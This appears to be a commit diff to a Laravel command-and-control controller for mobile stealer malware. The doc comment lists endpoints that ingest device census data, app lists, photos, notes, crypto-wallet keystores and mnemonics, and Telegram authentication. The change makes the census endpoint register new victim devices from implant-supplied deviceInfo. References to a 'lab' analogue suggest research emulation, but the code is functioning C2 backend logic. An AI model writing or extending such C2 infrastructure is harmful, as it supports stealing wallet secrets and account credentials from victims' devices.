feat: xxbb

app/Http/Controllers/C2/XxbbC2Controller.php

@@ -19,7 +19,7 @@ use Illuminate\Support\Facades\Storage;
  * xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
  *
  * Native path map (corepayload + details plugins):
- *   /a census, /u applist, /event telemetry, /t photo multipart, /nb notes,
+ *   /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
  *   /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
  *   /api/tg/t Telegram auth (tglib).
  */
@@ -118,9 +118,12 @@ class XxbbC2Controller extends Controller
         return Cache::add($debounceKey, 1, now()->addSeconds(8));
     }
 
-    /** Lab analogue: POST /api/user/avatar/set — device census, no create. */
+    /** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */
     public function profile(Request $request): Response
     {
+        $payload = $request->attributes->get('coruna_payload');
+        $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
+
         return $this->xxbbAck($request);
     }